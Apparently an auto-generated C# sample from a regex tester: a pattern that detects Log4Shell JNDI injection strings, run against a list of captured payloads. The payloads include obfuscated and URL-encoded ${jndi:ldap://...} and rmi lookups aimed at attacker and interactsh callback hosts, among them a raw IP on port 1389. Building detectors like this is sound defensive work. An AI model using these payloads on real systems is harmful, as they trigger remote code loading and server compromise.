using System;
using System.Text.RegularExpressions;
public class Example
{
public static void Main()
{
string pattern = @"^(?i)(?:\$|%(?:25){0,2}24)(?:\{|%(?:25){0,2}7b)(?:.*?(?=j|%(?:25){0,2}6a)(?:j|%(?:25){0,2}6a))(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=\:|%(?:25){0,2}3a)(?:\:|%(?:25){0,2}3a))(?:(?:.*?(?=l|%(?:25){0,2}6c)(?:l|%(?:25){0,2}6c))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=a|%(?:25){0,2}61)(?:a|%(?:25){0,2}61))(?:.*?(?=p|%(?:25){0,2}70)(?:p|%(?:25){0,2}70))(?:(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73)))?|(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=r|%(?:25){0,2}72)(?:r|%(?:25){0,2}72))(?:.*?(?=m|%(?:25){0,2}6d)(?:m|%(?:25){0,2}6d))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))|(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=c|%(?:25){0,2}63)(?:c|%(?:25){0,2}63))(?:.*?(?=o|%(?:25){0,2}6f)(?:o|%(?:25){0,2}6f))(?:.*?(?=r|%(?:25){0,2}72)(?:r|%(?:25){0,2}72))(?:.*?(?=b|%(?:25){0,2}62)(?:b|%(?:25){0,2}62))(?:.*?(?=a|%(?:25){0,2}61)(?:a|%(?:25){0,2}61))|(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=o|%(?:25){0,2}6f)(?:o|%(?:25){0,2}6f))(?:.*?(?=p|%(?:25){0,2}70)(?:p|%(?:25){0,2}70)))(?:.*?(?=\:|%(?:25){0,2}3a)(?:\:|%(?:25){0,2}3a))(?:.*?(?=\/|%(?:25){0,2}2f)(?:\/|%(?:25){0,2}2f))(?:.*?(?=\/|%(?:25){0,2}2f)(?:\/|%(?:25){0,2}2f))(?:.*?(?=\}|%(?:25){0,2}7d)(?:\}|%(?:25){0,2}7d))";
string input = @"${jndi:ldap://******.vps.ovh.net/a}
%24%7bjndi%25253aldap%253a%2f%25252f******.vps.ovh.net/a}
${${lower:J}${upper:n}d${upper:i}${upper::}${lower:l}${lower:D}a${lower:p}${upper::}${upper:/}${lower:/}******.vps.ovh.net${upper:/}a}
${${lower:J}${upper:n}${env:BROKESYSTEM:-d}${upper:i}${::-:}${::-l}${lower:D}a${env:BROKESYSTEM:-p}${::-:}${::-/}${::-/}******.vps.ovh.net:443/Basic/Command/Base64/*********==}
%252524%25257Bjndi%3Aldap://******.vps.ovh.net/a}
${${env:BARFOO:-j}${upper:n}d${upper:i}${upper::}${lower:l}${lower:D}a${lower:p}${upper::}${upper:/}${lower:/}******.vps.ovh.net${upper:/}a}
${${::-j}${::-n}${::-d}${::-i}:ldap://******.vps.ovh.net/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6s8nslmk1u0g9jus3a0cghmy7obs3sw4.interact.sh}
%24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A+%24%7B%3A%3A-r%7D%24%7B%3A%3A-m%7D%24%7B%3A%3A-i%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzbeyyrhy6.interactsh.com%2Fpoc%7D
%24%7B%24%7Blower%3A+%24%7Blower%3Ajndi%7D%7D%3A+%24%7Blower%3Armi%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzaayyr75k.interactsh.com%2Fpoc%7D
%24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A+%24%7B%3A%3A-r%7D%24%7B%3A%3A-m%7D%24%7B%3A%3A-i%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzseyyr7ik.interactsh.com%2Fpoc%7D
${${::-j}nd${::-i}:ldap://92.63.197.53:1389/or2q2y}
%24%7B%24%7B%3A%3A-j%7Dnd%24%7B%3A%3A-i%7D%3Aldap%3A%2F%2F92.63.197.53%3A1389%2For2q2y%7D
";
RegexOptions options = RegexOptions.Multiline;
foreach (Match m in Regex.Matches(input, pattern, options))
{
Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index);
}
}
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for C#, please visit: https://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex(v=vs.110).aspx